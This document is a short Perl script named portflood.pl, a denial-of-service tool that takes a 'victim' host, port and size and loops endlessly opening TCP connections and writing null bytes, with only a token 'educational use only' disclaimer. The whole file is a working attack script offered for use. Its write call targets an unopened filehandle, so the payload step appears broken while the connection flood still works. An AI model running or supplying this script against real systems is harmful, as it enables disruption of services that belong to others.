#!/usr/bin/perl
# Author: gendou
# Disclaimer: This script is meant for educational use only. Obey the law in your country!
# Usage: portflood.pl [victim=localhost] [port=80] [size=1024]
# v 1.0.2

use IO::Socket;
$| = 1;

$target = shift || 'localhost';
$port   = shift || 80;
$size   = shift || 1024;

print "Connecting to $target:$port (size = $size) ...\n";

while(++$i) {
        $sock = IO::Socket::INET->new(PeerAddr => "$target:$port", Proto=>'tcp', Timeout => 1);
        print "  $i Connection failed!\n" if(!$sock);
        print "  $i\r" if($sock && !($i % (10 ** (length($i) - 1))));
        print SOCK chr(0) x $size;
        close($sock);
}

